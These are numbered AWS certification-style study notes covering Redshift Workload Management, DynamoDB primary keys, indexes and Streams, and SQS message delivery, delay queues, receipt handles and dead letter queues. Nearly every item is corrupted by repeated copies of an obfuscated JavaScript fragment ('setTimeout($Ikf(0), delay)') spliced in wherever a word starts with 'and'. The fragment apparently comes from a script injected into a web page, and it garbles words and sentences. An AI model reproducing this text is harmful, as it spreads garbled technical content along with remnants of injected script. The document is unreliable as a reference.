  245. For large Amazon Redshift clusters supporting many users, you can configure Workload Management (WLM) to queue andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and prioritize queries. WLM allows you define multiple queues andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and set the concurrency level for each queue.
  246. Amazon DynamoDB supports two types of primary keys, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and this configuration cannot be changed after a table has been created:
  247. It is possible for two items to have the same partition key value, but those two items must have different sort key values.
  248. You can create or delete a global secondary index on a table at any time. #DynamoDB
  249. You can only create a local secondary index when you create a table. #DynamoDB
  250. Amazon DynamoDB Streams makes it easy to get a list of item modifications for the last 24-hour period. Stream records are organized into groups, also referred to as shards.Shards live for a maximum of 24 hours andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, with fluctuating load levels, could be split one or more times before they are eventually closed.
  251. To build an application that reads from a shard, it is recommended to use the Amazon DynamoDB Streams Kinesis Adapter.
  252. Amazon SQS ensures delivery of each message at least once andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and supports multiple readers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and writers interacting with the same queue.
  253. Although most of the time each message will be delivered to your application exactly once, you should design your system to be idempotent (that is, it must not be adversely affected if it processes the same message more than once).
  254. Delay queues allow you to postpone the delivery of new messages in a queue for a specific number of seconds.
  255. To create a delay queue, use CreateQueue andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and set the DelaySeconds attribute to any value between 0 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 900 (15 minutes). The default value for DelaySeconds is 0.
  256. When a message is in the queue but is neither delayed nor in a visibility timeout, it is considered to be “in flight.”
  257. You can have up to 120,000 messages in flight at any given time. 
  258. Amazon SQS supports up to 12 hours’ maximum visibility timeout.
  259. Amazon SQS uses three identifiers that you need to be familiar with: queue URLs, message IDs, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and receipt handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andles.
  260. To delete a message, you need the message’s receipt handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andle instead of the message ID.
  261. The maximum length of a message ID is 100 characters. 
  262. The maximum length of a receipt handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andle is 1,024 characters. 
  263. Each message can have up to 10 attributes.
  264. If there is no message in the queue, then the call will wait up to WaitTimeSeconds for a message to appear before returning.
  265. Long polling drastically reduces the amount of load on your client.
  266. Dead letter queue is a queue that other (source) queues can target to send messages that for some reason could not be successfully processed
  267. You can create a dead letter queue from the Amazon SQS API andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}